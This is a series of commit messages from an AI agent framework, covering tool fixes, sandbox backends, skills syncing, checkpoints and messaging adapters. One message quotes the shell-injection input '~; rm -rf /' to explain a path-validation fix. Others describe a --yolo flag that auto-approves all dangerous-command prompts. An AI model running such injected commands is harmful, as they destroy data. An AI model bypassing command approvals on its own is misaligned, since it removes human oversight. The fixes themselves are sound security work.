1. New hermes_cli/curses_ui.py — shared curses_checklist() used by both
hermes tools and hermes skills. Eliminates ~140 lines of near-identical
curses code (scrolling, key handling, color setup, numbered fallback).
2. Fix _find_all_skills() perf — was calling load_config() per skill
(~100+ YAML parses). Now loads disabled set once via
_get_disabled_skill_names() and does a set lookup.
3. Eliminate _list_all_skills_unfiltered() duplication — _find_all_skills()
now accepts skip_disabled=True for the config UI, removing 30 lines
of copy-pasted discovery logic from skills_config.py.
4. Fix fragile label round-trip in skills_command — was building label
strings, passing to checklist, then mapping labels back to skill names
(collision-prone). Now works with indices directly, like tools_config.
Replaces head-only stdout capture with a two-buffer approach (40% head,
60% tail rolling window) so scripts that print() their final results
at the end never lose them. Adds truncation notice between sections.
Cherry-picked from PR #755, conflict resolved (test file additions).
3 new tests for short output, head+tail preservation, and notice format.
Authored by dmahan93. Adds HERMES_YOLO_MODE env var and --yolo CLI flag
to auto-approve all dangerous command prompts.
Post-merge: renamed --fuck-it-ship-it to --yolo for brevity,
resolved conflict with --checkpoints flag.
On macOS, Docker Desktop installs the CLI to /usr/local/bin/docker, but
when Hermes runs as a gateway service (launchd) or in other non-login
contexts, /usr/local/bin is often not in PATH. This causes the Docker
requirements check to fail with 'No such file or directory: docker' even
though docker works fine from the user's terminal.
Add find_docker() helper that uses shutil.which() first, then probes
common Docker Desktop install paths on macOS (/usr/local/bin,
/opt/homebrew/bin, Docker.app bundle). The resolved path is cached and
passed to mini-swe-agent via its 'executable' parameter.
- tools/environments/docker.py: add find_docker(), use it in
_storage_opt_supported() and pass to _Docker(executable=...)
- tools/terminal_tool.py: use find_docker() in requirements check
- tests/tools/test_docker_find.py: 4 tests (PATH, fallback, not found, cache)
2877 tests pass.
The 4 early-return paths in _spawn_training_run (API exit, trainer
exit, env not found, env exit) were doing manual process.terminate()
or returning without cleanup, leaking open log file handles. Now all
paths call _stop_training_run() which handles both process termination
and file handle closure.
Also adds 12 tests for _stop_training_run covering file handle
cleanup, process termination, status transitions, and edge cases.
Inspired by PR #715 (0xbyt4) which identified the early-return issue.
Core file handle fix was already on main via e28dc13 (memosr.eth).
Follow-up to PR #705 (merged from 0xbyt4). Addresses several issues:
1. CONSECUTIVE-ONLY TRACKING: Redesigned the read/search tracker to only
warn/block on truly consecutive identical calls. Any other tool call
in between (write, patch, terminal, etc.) resets the counter via
notify_other_tool_call(), called from handle_function_call() in
model_tools.py. This prevents false blocks in read→edit→verify flows.
2. THRESHOLD ADJUSTMENT: Warn on 3rd consecutive (was 2nd), block on
4th+ consecutive (was 3rd+). Gives the model more room before
intervening.
3. TUPLE UNPACKING BUG: Fixed get_read_files_summary() which crashed on
search keys (5-tuple) when trying to unpack as 3-tuple. Now uses a
separate read_history set that only tracks file reads.
4. WEB_EXTRACT DOCSTRING: Reverted incorrect removal of 'title' from
web_extract return docs in code_execution_tool.py — the field IS
returned by web_tools.py.
5. TESTS: Rewrote test_read_loop_detection.py (35 tests) to cover
consecutive-only behavior, notify_other_tool_call, interleaved
read/search, and summary-unaffected-by-searches.
New tool lets Hermes persist conclusions about the user (preferences,
corrections, project context) directly to Honcho via the conclusions
API. Feeds into the user's peer card and representation.
Authored by johnh4098. Fixes CWE-214: SUDO_PASSWORD was visible in
/proc/PID/cmdline via echo pipe. Now passed through subprocess stdin.
All 6 backends updated: local, ssh, docker, singularity pipe via stdin;
modal and daytona use printf fallback (remote sandbox, documented).
Completes the fix started in 8318a51 — handle_function_call() accepted
enabled_tools but run_agent.py never passed it. Now both call sites in
_execute_tool_calls() pass self.valid_tool_names, so each agent session
uses its own tool list instead of the process-global
_last_resolved_tool_names (which subagents can overwrite).
Also simplifies the redundant ternary in code_execution_tool.py:
sandbox_tools is already computed correctly (intersection with session
tools, or full SANDBOX_ALLOWED_TOOLS as fallback), so the conditional
was dead logic.
Inspired by PR #663 (JasonOA888). Closes#662.
Tests: 2857 passed.
Authored by manuelschipper. Adds missing docker_volumes key to
container_config in file_tools.py, matching terminal_tool.py.
Without this, Docker sandbox containers created by file operations
lack user volume mounts when file tools run before terminal.
build_execute_code_schema(set()) produced "from hermes_tools import , ..."
in the code property description — invalid Python syntax shown to the model.
This triggers when a user enables only the code_execution toolset without
any of the sandbox-allowed tools (e.g. `hermes tools code_execution`),
because SANDBOX_ALLOWED_TOOLS & {"execute_code"} = empty set.
Also adds 29 unit tests covering build_execute_code_schema, environment
variable filtering, execute_code edge cases, and interrupt handling.
Authored by voteblake.
- Semaphore limits concurrent Modal sandbox creations to 8 (configurable)
to prevent thread pool deadlocks when 86+ tasks fire simultaneously
- Modal cleanup guard for failed init (prevents AttributeError)
- CWD override to /app for TB2 containers
- Add /home/ to host path validation for container backends
Authored by aydnOktay. Adds logging to skills_tool.py with specific
exception handling for file read errors (UnicodeDecodeError, PermissionError)
vs unexpected exceptions, replacing bare except-and-continue blocks.
file_tools.py creates its own Docker sandbox when read_file/search_files
runs before any terminal command. The container_config was missing
docker_volumes, so the sandbox had no user volume mounts — breaking
access to heartbeat state, cron output, and all other mounted data.
Matches the existing pattern in terminal_tool.py:872.
Missed in original PR #158 (feat: add docker_volumes config).
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Automatic filesystem snapshots before destructive file operations,
with user-facing rollback. Inspired by PR #559 (by @alireza78a).
Architecture:
- Shadow git repos at ~/.hermes/checkpoints/{hash}/ via GIT_DIR
- CheckpointManager: take/list/restore, turn-scoped dedup, pruning
- Transparent — the LLM never sees it, no tool schema, no tokens
- Once per turn — only first write_file/patch triggers a snapshot
Integration:
- Config: checkpoints.enabled + checkpoints.max_snapshots
- CLI flag: hermes --checkpoints
- Trigger: run_agent.py _execute_tool_calls() before write_file/patch
- /rollback slash command in CLI + gateway (list, restore by number)
- Pre-rollback snapshot auto-created on restore (undo the undo)
Safety:
- Never blocks file operations — all errors silently logged
- Skips root dir, home dir, dirs >50K files
- Disables gracefully when git not installed
- Shadow repo completely isolated from project git
Tests: 35 new tests, all passing (2798 total suite)
Docs: feature page, config reference, CLI commands reference
PR #568 moved the close entirely to the finally block, but the success-path
close is needed to break the RPC thread out of accept() immediately. Without
it, rpc_thread.join(3) may block for up to 3 seconds if the child process
never connected. The finally-block close remains as a safety net for the
exception/error path (the actual fd leak fix).
Authored by alireza78a. Moves server_sock.close() into the finally block so
the socket fd is always cleaned up, even if an exception occurs between socket
creation and the success-path close.
Authored by aydnOktay. Adds _atomic_write_text() helper using tempfile.mkstemp()
+ os.replace() to prevent skill file corruption on crash/interrupt. All 7
write_text() calls in skill_manager_tool.py converted, including rollback writes
during security scans.
Authored by Himess. Three independent fixes:
- cron/jobs.py: respect HERMES_HOME env var (consistent with scheduler.py)
- gateway/run.py: add Platform.HOMEASSISTANT to toolset mappings
- tools/environments/daytona.py: use time.monotonic() for timeout deadline
Authored by Himess. Replaces split(':', 2) with regex that optionally
captures Windows drive-letter prefix in rg/grep output parsing. Fixes
search_files returning zero results on Windows where paths like
C:\path\file.py:42:content were misparsed by naive colon splitting.
No behavior change on Unix/Mac.
Authored by shitcoinsherpa. Adds encoding='utf-8' to all text-mode
open() calls in gateway/run.py, gateway/config.py, hermes_cli/config.py,
hermes_cli/main.py, and hermes_cli/status.py. Prevents encoding errors
on Windows where the default locale is not UTF-8.
Also fixed 4 additional open() calls in gateway/run.py that were added
after the PR branch was created.
The existing password prompt uses /dev/tty and termios to read input
with echo disabled. Neither exists on Windows.
On Windows, msvcrt.getwch() reads a single character from the console
without echoing it. This adds a Windows code path that uses getwch()
in a loop, collecting characters until Enter is pressed.
The Unix path using termios and /dev/tty is unchanged.
Authored by shitcoinsherpa. Imports winpty.PtyProcess on Windows instead
of ptyprocess.PtyProcess, and adds platform markers to the [pty] extra
so the correct package is installed automatically.
cap-drop ALL removes DAC_OVERRIDE, which root needs to write to
bind-mounted directories owned by the host user (uid 1000). This
broke persistent Docker sandboxes — the container couldn't write
to /workspace or /root.
Add back the minimum capabilities needed:
- DAC_OVERRIDE: root can write to bind-mounted dirs owned by host user
- CHOWN: package managers (pip, npm, apt) need to set file ownership
- FOWNER: needed for operations on files owned by other users
Still drops all other capabilities (NET_RAW, SYS_ADMIN, etc.) and
keeps no-new-privileges. Security boundary is the container itself.
Verified end-to-end: create files → destroy container → new container
with same task_id → files persist on host and are accessible in the
new container.
Validate that the username portion of ~username paths contains only
valid characters (alphanumeric, dot, hyphen, underscore) before passing
to shell echo for expansion. Previously, paths like '~; rm -rf /'
would be passed unquoted to self._exec(f'echo {path}'), allowing
arbitrary command execution.
The approach validates the username rather than using shlex.quote(),
which would prevent tilde expansion from working at all since
echo '~user' outputs the literal string instead of expanding it.
Added tests for injection blocking and valid ~username/path expansion.
Credit to @alireza78a for reporting (PR #442, issue #442).
SamplingHandler.__call__ accessed response.choices[0] without checking
if the list was non-empty. LLM APIs can return empty choices on content
filtering, provider errors, or rate limits, causing an unhandled
IndexError that propagates to the MCP SDK and may crash the connection.
Add a defensive guard that returns a proper ErrorData when choices is
empty, None, or missing. Includes three test cases covering all
variants.
Authored by aydnOktay. Improves URL validation with urlparse, adds exc_info
to error logs for full stack traces, and tightens type hints.
Resolved merge conflict in _handle_vision_analyze: kept PR's string formatting
with our AUXILIARY_VISION_MODEL env var logic.
Add MCP sampling/createMessage capability via SamplingHandler class.
Text-only sampling + tool use in sampling with governance (rate limits,
model whitelist, token caps, tool loop limits). Per-server audit metrics.
Based on concept from PR #366 by eren-karakus0. Restructured as class-based
design with bug fixes and tests using real MCP SDK types.
50 new tests, 2600 total passing.
Combine read/search loop detection with main's redact_sensitive_text
and truncation hint features. Add tracker reset to TestSearchHints
to prevent cross-test state leakage.
Terminal output was already redacted via redact_sensitive_text() but
read_file and search_files returned raw content. Now both tools
redact secrets before returning results to the LLM.
Based on PR #372 by @teyrebaz33 (closes#363) — applied manually
due to branch conflicts with the current codebase.
Uses temp file + fsync + os.replace() to avoid corruption if the
process crashes mid-write. Cleans up temp file on failure, logs
errors at debug level.
Based on PR #335 by @aydnOktay — adapted for the current v2
manifest format (name:hash).
New browser capabilities and a built-in skill for agent-driven web QA.
## New tool: browser_console
Returns console messages (log/warn/error/info) AND uncaught JavaScript
exceptions in a single call. Uses agent-browser's 'console' and 'errors'
commands through the existing session plumbing. Supports --clear to reset
buffers. Verified working in both local and Browserbase cloud modes.
## Enhanced tool: browser_vision(annotate=True)
New boolean parameter on browser_vision. When true, agent-browser overlays
numbered [N] labels on interactive elements — each [N] maps to ref @eN.
Annotation data (element name, role, bounding box) returned alongside the
vision analysis. Useful for QA reports and spatial reasoning.
## Config: browser.record_sessions
Auto-record browser sessions as WebM video files when enabled:
- Starts recording on first browser_navigate
- Stops and saves on browser_close
- Saves to ~/.hermes/browser_recordings/
- Works in both local and cloud modes (verified)
- Disabled by default
## Built-in skill: dogfood
Systematic exploratory QA testing for web applications. Teaches the agent
a 5-phase workflow:
1. Plan — accept URL, create output dirs, set scope
2. Explore — systematic crawl with annotated screenshots
3. Collect Evidence — screenshots, console errors, JS exceptions
4. Categorize — severity (Critical/High/Medium/Low) and category
(Functional/Visual/Accessibility/Console/UX/Content)
5. Report — structured markdown with per-issue evidence
Includes:
- skills/dogfood/SKILL.md — full workflow instructions
- skills/dogfood/references/issue-taxonomy.md — severity/category defs
- skills/dogfood/templates/dogfood-report-template.md — report template
## Tests
21 new tests covering:
- browser_console message/error parsing, clear flag, empty/failed states
- browser_console schema registration
- browser_vision annotate schema and flag passing
- record_sessions config defaults and recording lifecycle
- Dogfood skill file existence and content validation
Addresses #315.
Complete Signal adapter using signal-cli daemon HTTP API.
Based on PR #268 by ibhagwan, rebuilt on current main with bug fixes.
Architecture:
- SSE streaming for inbound messages with exponential backoff (2s→60s)
- JSON-RPC 2.0 for outbound (send, typing, attachments, contacts)
- Health monitor detects stale SSE connections (120s threshold)
- Phone number redaction in all logs and global redact.py
Features:
- DM and group message support with separate access policies
- DM policies: pairing (default), allowlist, open
- Group policies: disabled (default), allowlist, open
- Attachment download with magic-byte type detection
- Typing indicators (8s refresh interval)
- 100MB attachment size limit, 8000 char message limit
- E.164 phone + UUID allowlist support
Integration:
- Platform.SIGNAL enum in gateway/config.py
- Signal in _is_user_authorized() allowlist maps (gateway/run.py)
- Adapter factory in _create_adapter() (gateway/run.py)
- user_id_alt/chat_id_alt fields in SessionSource for UUIDs
- send_message tool support via httpx JSON-RPC (not aiohttp)
- Interactive setup wizard in 'hermes gateway setup'
- Connectivity testing during setup (pings /api/v1/check)
- signal-cli detection and install guidance
Bug fixes from PR #268:
- Timestamp reads from envelope_data (not outer wrapper)
- Uses httpx consistently (not aiohttp in send_message tool)
- SIGNAL_DEBUG scoped to signal logger (not root)
- extract_images regex NOT modified (preserves group numbering)
- pairing.py NOT modified (no cross-platform side effects)
- No dual authorization (adapter defers to run.py for user auth)
- Wildcard uses set membership ('*' in set, not list equality)
- .zip default for PK magic bytes (not .docx)
No new Python dependencies — uses httpx (already core).
External requirement: signal-cli daemon (user-installed).
Tests: 30 new tests covering config, init, helpers, session source,
phone redaction, authorization, and send_message integration.
Co-authored-by: ibhagwan <ibhagwan@users.noreply.github.com>
All failure paths in _run_browser_command now log at WARNING level,
which means they automatically land in ~/.hermes/logs/errors.log
(the persistent error log captures WARNING+).
What's now logged:
- agent-browser CLI not found (warning)
- Session creation failure with task ID (warning)
- Command entry with socket_dir path and length (debug)
- Non-zero return code with stderr (warning)
- Non-JSON output from agent-browser (warning — version mismatch/crash)
- Command timeout with task ID and socket path (warning)
- Unexpected exceptions with full traceback (warning + exc_info)
- browser_vision: which model is used and screenshot size (debug)
- browser_vision: LLM analysis failure with full traceback (warning)
Also fixed: _get_vision_model() was called twice in browser_vision —
now called once and reused.
macOS sets TMPDIR to /var/folders/xx/.../T/ (~51 chars). Combined with
agent-browser session names, socket paths reach 121 chars — exceeding
the 104-byte macOS AF_UNIX limit. This causes 'Screenshot file was not
created' errors and silent browser_vision failures on macOS.
Fix: use /tmp/ on macOS (symlink to /private/tmp, sticky-bit protected).
On Linux, tempfile.gettempdir() already returns /tmp — no behavior change.
Changes in browser_tool.py:
- Add _socket_safe_tmpdir() helper — returns /tmp on macOS, gettempdir()
elsewhere
- Replace all 3 tempfile.gettempdir() calls for socket dirs
- Set mode=0o700 on socket dirs for privacy (was using default umask)
- Guard vision/text client init with try/except — a broken auxiliary
config no longer prevents the entire browser_tool module from importing
(which would disable all 10 browser tools, not just vision)
- Improve screenshot error messages with mode info and diagnostic hints
- Don't delete screenshots when LLM analysis fails — the capture was
valid, only the vision API call failed. Screenshots are still cleaned
up by the existing 24-hour _cleanup_old_screenshots mechanism.
Changes in code_execution_tool.py:
- Same /tmp fix for RPC socket path (was 103 chars on macOS — one char
from the 104-byte limit)
- Added support for auxiliary model overrides in the configuration, allowing users to specify providers and models for vision and web extraction tasks.
- Updated the CLI configuration example to include new auxiliary model settings.
- Enhanced the environment variable mapping in the CLI to accommodate auxiliary model configurations.
- Improved the resolution logic for auxiliary clients to support task-specific provider overrides.
- Updated relevant documentation and comments for clarity on the new features and their usage.
Add contextual [Hint: ...] suffixes to tool results where they save
real iterations:
- patch (no match): suggests read_file/search_files to verify content
before retrying — addresses the common pattern where the agent retries
with stale old_string instead of re-reading the file.
- search_files (truncated): provides explicit next offset and suggests
narrowing the search — clearer than relying on total_count inference.
Other hints proposed in #722 (terminal, web_search, web_extract,
browser_snapshot, search zero-results, search content-matches) were
evaluated and found to be low-value: either already covered by existing
mechanisms (read_file pagination, similar-files, schema descriptions)
or guidance the agent already follows from its own reasoning.
5 new tests covering hint presence/absence for both tools.
Previously, search_files would silently return 0 results when the
search path didn't exist (e.g., /root/.hermes/... when HOME is
/home/user). The path was passed to rg/grep/find which would fail
silently, and the empty stdout was parsed as 'no matches found'.
Changes:
- Add path existence check at the top of search() using test -e.
Returns SearchResult with a clear error message when path doesn't exist.
- Add exit code 2 checks in _search_with_rg() and _search_with_grep()
as secondary safety net for other error types (bad regex, permissions).
- Add 4 new tests covering: nonexistent path (content mode), nonexistent
path (files mode), existing path proceeds normally, rg error exit code.
Tests: 37 → 41 in test_file_operations.py, full suite 2330 passed.
Adds a fun alias for skipping all dangerous command approval prompts.
When passed, sets HERMES_YOLO_MODE=1 which causes check_dangerous_command()
to auto-approve everything.
Available on both top-level and chat subcommand:
hermes --fuck-it-ship-it
hermes chat --fuck-it-ship-it
Includes 5 tests covering normal blocking, yolo bypass, all patterns,
and edge cases (empty string env var).
These two files were creating bare OpenAI clients pointing at OpenRouter
without the HTTP-Referer / X-OpenRouter-Title / X-OpenRouter-Categories
headers that the rest of the codebase sends for app attribution.
- skills_guard.py: LLM audit client (always OpenRouter)
- trajectory_compressor.py: sync + async summarization clients
(guarded with 'openrouter' in base_url check since the endpoint
is user-configurable)
- Block file reads after 3+ re-reads of same region (no content returned)
- Track search_files calls and block repeated identical searches
- Filter completed/cancelled todos from post-compression injection
to prevent agent from re-doing finished work
- Add 10 new tests covering all three fixes
When context compression summarizes conversation history, the agent
loses track of which files it already read and re-reads them in a loop.
Users report the agent reading the same files endlessly without writing.
Root cause: context compression is lossy — file contents and read history
are lost in the summary. After compression, the model thinks it hasn't
examined the files yet and reads them again.
Fix (two-part):
1. Track file reads per task in file_tools.py. When the same file region
is read again, include a _warning in the response telling the model
to stop re-reading and use existing information.
2. After context compression, inject a structured message listing all
files already read in the session with explicit "do NOT re-read"
instruction, preserving read history across compression boundaries.
Adds 16 tests covering warning detection, task isolation, summary
accuracy, tracker cleanup, and compression history injection.
Updated the systemd unit generation to include the virtual environment and node modules in the PATH, improving the execution context for the hermes CLI. Additionally, added support for installing Playwright and its dependencies on Arch/Manjaro systems in the install script, ensuring a smoother setup process for browser tools.
Enhanced the environment setup for browser commands by ensuring the PATH variable includes standard directories, addressing potential issues with minimal PATH in systemd services. Additionally, updated the logging of stderr to use a warning level on failure for better visibility of errors. This change improves the robustness of subprocess execution in the browser tool.
Renamed _find_shell to _find_bash to clarify its purpose of specifically locating bash. Improved the shell detection logic to prioritize bash over the user's $SHELL, ensuring compatibility with the fence wrapper's syntax requirements. Added a backward compatibility alias for _find_shell to maintain existing imports in process_registry.py.
Updated the LocalEnvironment class to ensure the PATH variable includes standard directories. This change addresses issues with systemd services and terminal multiplexers that inherit a minimal PATH, improving the execution environment for subprocesses.
Updated the _find_shell function to improve shell detection on non-Windows systems. The function now checks for the existence of /usr/bin/bash and /bin/bash before falling back to /bin/sh, ensuring a more robust shell resolution process.
Skills can now declare runtime prerequisites (env vars, CLI binaries) via
YAML frontmatter. Skills with unmet prerequisites are excluded from the
system prompt so the agent never claims capabilities it can't deliver, and
skill_view() warns the agent about what's missing.
Three layers of defense:
- build_skills_system_prompt() filters out unavailable skills
- _find_all_skills() flags unmet prerequisites in metadata
- skill_view() returns prerequisites_warning with actionable details
Tagged 12 bundled skills that have hard runtime dependencies:
gif-search (TENOR_API_KEY), notion (NOTION_API_KEY), himalaya, imessage,
apple-notes, apple-reminders, openhue, duckduckgo-search, codebase-inspection,
blogwatcher, songsee, mcporter.
Closes#658Fixes#630
browser_vision now saves screenshots persistently to ~/.hermes/browser_screenshots/
and returns the screenshot_path in its JSON response. The model can include
MEDIA:<path> in its response to share screenshots as native photos.
Changes:
- browser_tool.py: Save screenshots persistently, return screenshot_path,
auto-cleanup files older than 24 hours, mkdir moved inside try/except
- telegram.py: Add send_image_file() — sends local images via bot.send_photo()
- discord.py: Add send_image_file() — sends local images via discord.File
- slack.py: Add send_image_file() — sends local images via files_upload_v2()
(WhatsApp already had send_image_file — no changes needed)
- prompt_builder.py: Updated Telegram hint to list image extensions,
added Discord and Slack MEDIA: platform hints
- browser.md: Document screenshot sharing and 24h cleanup
- send_file_integration_map.md: Updated to reflect send_image_file is now
implemented on Telegram/Discord/Slack
- test_send_image_file.py: 19 tests covering MEDIA: .png extraction,
send_image_file on all platforms, and screenshot cleanup
Partially addresses #466 (Phase 0: platform adapter gaps for send_image_file).
The web_extract_tool was stripping the 'url' key during its output
trimming step, but documentation in 3 places claimed it was present.
This caused KeyError when accessing result['url'] in execute_code
scripts, especially when extracting from multiple URLs.
Changes:
- web_tools.py: Add 'url' back to trimmed_results output
- code_execution_tool.py: Add 'title' to _TOOL_STUBS docstring and
_TOOL_DOC_LINES so docs match actual {url, title, content, error}
response format
Root cause: fal_client.AsyncClient uses @cached_property for its
httpx.AsyncClient, creating it once and caching forever. In the gateway,
the agent runs in a thread pool where _run_async() calls asyncio.run()
which creates a temporary event loop. The first call works, but
asyncio.run() closes that loop. On the next call, a new loop is created
but the cached httpx.AsyncClient still references the old closed loop,
causing 'Event loop is closed'.
Fix: Switch from async fal_client API (submit_async/handler.get with
await) to sync API (submit/handler.get). The sync API uses httpx.Client
which has no event loop dependency. Since the tool already runs in a
thread pool via the gateway, async adds no benefit here.
Changes:
- image_generate_tool: async def -> def
- _upscale_image: async def -> def
- fal_client.submit_async -> fal_client.submit
- await handler.get() -> handler.get()
- is_async=True -> is_async=False in registry
- Remove unused asyncio import
- Add max_concurrent_tasks config (default 8) with semaphore in TB2 eval
- Pass cwd: /app via register_task_env_overrides for TB2 tasks
- Add /home/ to host path prefixes as safety net for container backends
When all 86 TerminalBench2 tasks fire simultaneously, each creates a Modal sandbox
via asyncio.run() inside a thread pool worker. Modal's blocking calls deadlock
when too many are created at once. The semaphore ensures max 8 concurrent creations.
Co-Authored-By: hermes-agent[bot] <hermes-agent[bot]@users.noreply.github.com>
Enhanced the _run_single_child function by introducing max_tokens, reasoning_config, and prefill_messages parameters from the parent agent. This allows for more flexible configuration of child agents, improving their operational capabilities.
Eliminated the model parameter from the delegate_task function and its associated schema, defaulting to None for subagent calls. This change simplifies the function signature and enforces consistent behavior across task delegation.
Subagent tool calls now count toward the same session-wide iteration
limit as the parent agent. Previously, each subagent had its own
independent counter, so a parent with max_iterations=60 could spawn
3 subagents each doing 50 calls = 150 total tool calls unmetered.
Changes:
- IterationBudget: thread-safe shared counter (run_agent.py)
- consume(): try to use one iteration, returns False if exhausted
- refund(): give back one iteration (for execute_code turns)
- Thread-safe via Lock (subagents run in ThreadPoolExecutor)
- Parent creates the budget, children inherit it via delegate_tool.py
- execute_code turns are refunded (don't count against budget)
- Default raised from 60 → 90 to account for shared consumption
- Per-child cap (50) still applies as a safety valve
The per-child max_iterations (default 50) remains as a per-child
ceiling, but the shared budget is the hard session-wide limit.
A child stops at whichever comes first.
Add local browser mode as an automatic fallback when Browserbase
credentials are not configured. Uses the same agent-browser CLI with
--session (local Chromium) instead of --cdp (cloud Browserbase).
The agent-facing API is completely unchanged — all 10 browser_* tools
produce identical output in both modes. Auto-detection:
- BROWSERBASE_API_KEY set → cloud mode (existing behavior)
- No key → local mode (new, free, headless Chromium)
Changes:
- _is_local_mode(): auto-detect based on env vars
- _create_local_session(): lightweight session (no API call)
- _get_session_info(): branches on local vs cloud
- _run_browser_command(): --session in local, --cdp in cloud
- check_browser_requirements(): only needs agent-browser CLI in local mode
- _emergency_cleanup: CLI close in local, API release in cloud
- cleanup_browser/browser_close: skip BB API calls in local mode
- Registry: removed requires_env — check_fn handles both modes
Setup for local mode:
npm install -g agent-browser
agent-browser install # downloads Chromium
agent-browser install --with-deps # also installs system libs (Docker/Debian)
Closes#374 (Phase 1)
Add a 'platforms' field to SKILL.md frontmatter that restricts skills
to specific operating systems. Skills with platforms: [macos] only
appear in the system prompt, skills_list(), and slash commands on macOS.
Skills without the field load everywhere (backward compatible).
Implementation:
- skill_matches_platform() in tools/skills_tool.py — core filter
- Wired into all 3 discovery paths: prompt_builder.py, skills_tool.py,
skill_commands.py
- 28 new tests across 3 test files
New bundled Apple/macOS skills (all platforms: [macos]):
- imessage — Send/receive iMessages via imsg CLI
- apple-reminders — Manage Reminders via remindctl CLI
- apple-notes — Manage Notes via memo CLI
- findmy — Track devices/AirTags via AppleScript + screen capture
Docs updated: CONTRIBUTING.md, AGENTS.md, creating-skills.md,
skills.md (user guide)
Authored by areu01or00. Adds timezone support via hermes_time.now() helper
with IANA timezone resolution (HERMES_TIMEZONE env → config.yaml → server-local).
Updates system prompt timestamp, cron scheduling, and execute_code sandbox TZ
injection. Includes config migration (v4→v5) and comprehensive test coverage.
When a user disables the web toolset via 'hermes tools', the execute_code
schema description still hardcoded web_search/web_extract as available,
causing the model to keep trying to use them. Similarly, delegate_task
always defaulted to ['terminal', 'file', 'web'] for subagents regardless
of the parent's config.
Changes:
- execute_code schema is now built dynamically via build_execute_code_schema()
based on which sandbox tools are actually enabled
- model_tools.py rebuilds the execute_code schema at definition time using
the intersection of sandbox-allowed and session-enabled tools
- delegate_task now inherits the parent agent's enabled_toolsets instead of
hardcoding DEFAULT_TOOLSETS when no explicit toolsets are specified
- delegate_task description updated to say 'inherits your enabled toolsets'
Reported by kotyKD on Discord.
Two bugs in sync_skills():
1. Failed copytree poisons manifest: when shutil.copytree fails (disk
full, permission error), the skill is still recorded in the manifest.
On the next sync, the skill appears as "in manifest but not on disk"
which is interpreted as "user deliberately deleted it" — the skill
is never retried. Fix: only write to manifest on successful copy.
2. Failed update destroys user copy: rmtree deletes the existing skill
directory before copytree runs. If copytree then fails, the user's
skill is gone with no way to recover. Fix: move to .bak before
copying, restore from backup if copytree fails.
Both bugs are proven by new regression tests that fail on the old code
and pass on the fix.
Upgrade skills_sync manifest to v2 format (name:origin_hash). The origin
hash records the MD5 of the bundled skill at the time it was last synced.
On update, the user's copy is compared against the origin hash:
- User copy == origin hash → unmodified → safe to update from bundled
- User copy != origin hash → user customized → skip (preserve changes)
v1 manifests (plain names) are auto-migrated: the user's current hash
becomes the baseline, so future syncs can detect modifications.
Output now shows user-modified skills:
~ whisper (user-modified, skipping)
27 tests covering all scenarios including v1→v2 migration, user
modification detection, update after migration, and origin hash tracking.
2009 tests pass.
- Restored 21 skills removed in commits 757d012 and 740dd92:
accelerate, audiocraft, code-review, faiss, flash-attention, gguf,
grpo-rl-training, guidance, llava, nemo-curator, obliteratus, peft,
pytorch-fsdp, pytorch-lightning, simpo, slime, stable-diffusion,
tensorrt-llm, torchtitan, trl-fine-tuning, whisper
- Rewrote sync_skills() with proper update semantics:
* New skills (not in manifest): copied to user dir
* Existing skills (in manifest + on disk): updated via hash comparison
* User-deleted skills (in manifest, not on disk): respected, not re-added
* Stale manifest entries (removed from bundled): cleaned from manifest
- Added sync_skills() to CLI startup (cmd_chat) and gateway startup
(start_gateway) — previously only ran during 'hermes update'
- Updated cmd_update output to show new/updated/cleaned counts
- Rewrote tests: 20 tests covering manifest CRUD, dir hashing, fresh
install, user deletion respect, update detection, stale cleanup, and
name collision handling
75 bundled skills total. 2002 tests pass.
1. cron/jobs.py: respect HERMES_HOME env var for job storage path.
scheduler.py already uses os.getenv("HERMES_HOME", ...) but jobs.py
hardcodes Path.home() / ".hermes", causing path mismatch when
HERMES_HOME is set.
2. gateway/run.py: add Platform.HOMEASSISTANT to default_toolset_map
and platform_config_key. The adapter and hermes-homeassistant
toolset both exist but the mapping dicts omit it, so HomeAssistant
events silently fall back to the Telegram toolset.
3. tools/environments/daytona.py: use time.monotonic() for deadline
instead of float subtraction. All other backends (docker, ssh,
singularity, local) use monotonic clock for timeout tracking.
The accumulator pattern (deadline -= 0.2) drifts because
t.join(0.2) + interrupt checks take longer than 0.2s per iteration.
Authored by aydnOktay. Companion to PR #297 (batch_runner). Applies the
same atomic write pattern (temp file + fsync + os.replace) to both
_write_checkpoint() and recover_from_checkpoint() in process_registry.py.
Prevents checkpoint corruption on gateway crashes. Also improves error
handling: bare 'pass' replaced with logger.debug(..., exc_info=True)
for better debugging.
The ripgrep/grep output parser uses `split(':', 2)` to extract
file:lineno:content from match lines. On Windows, absolute paths
contain a drive letter colon (e.g. `C:\Users\foo\bar.py:42:content`),
so `split(':', 2)` produces `["C", "\Users\...", "42:content"]`.
`int(parts[1])` then raises ValueError and the match is silently
dropped. All search results are lost on Windows.
Same category as #390 — string-based path parsing that fails on
Windows. Replace `split()` with a regex that optionally captures
the drive letter prefix: `^([A-Za-z]:)?(.*?):(\d+):(.*)$`.
Applied to both `_search_with_rg` and `_search_with_grep`.
Add daytona_image to batch_runner per-prompt container image overrides
so batch processing works with the Daytona backend. Update inline
comments in RL environment files (agent_loop, tool_context) and
process_registry docstrings to include Daytona in backend lists.
The _TOOL_STUBS dict in code_execution_tool.py was out of sync with the
actual tool schemas, causing TypeErrors when the LLM used parameters it
sees in its system prompt but the sandbox stubs didn't accept:
search_files:
- Added missing params: context, offset, output_mode
- Fixed target default: 'grep' → 'content' (old value was obsolete)
patch:
- Added missing params: mode, patch (V4A multi-file patch support)
Also added 4 drift-detection tests (TestStubSchemaDrift) that will
catch future divergence between stubs and real schemas:
- test_stubs_cover_all_schema_params: every schema param in stub
- test_stubs_pass_all_params_to_rpc: every stub param sent over RPC
- test_search_files_target_uses_current_values: no obsolete values
- test_generated_module_accepts_all_params: generated code compiles
All 28 tests pass.
Authored by rovle. Adds Daytona as the sixth terminal execution backend
with cloud sandboxes, persistent workspaces, and full CLI/gateway integration.
Includes 24 unit tests and 8 integration tests.
The execute_code sandbox generates a hermes_tools.py stub module for LLM
scripts. Three common failure modes keep tripping up scripts:
1. json.loads(strict=True) rejects control chars in terminal() output
(e.g., GitHub issue bodies with literal tabs/newlines)
2. Shell backtick/quote interpretation when interpolating dynamic content
into terminal() commands (markdown with backticks gets eaten by bash)
3. No retry logic for transient network failures (API timeouts, rate limits)
Adds three convenience helpers to the generated hermes_tools module:
- json_parse(text) — json.loads with strict=False for tolerant parsing
- shell_quote(s) — shlex.quote() for safe shell interpolation
- retry(fn, max_attempts=3, delay=2) — exponential backoff wrapper
Also updates the EXECUTE_CODE_SCHEMA description to document these helpers
so LLMs know they're available without importing anything extra.
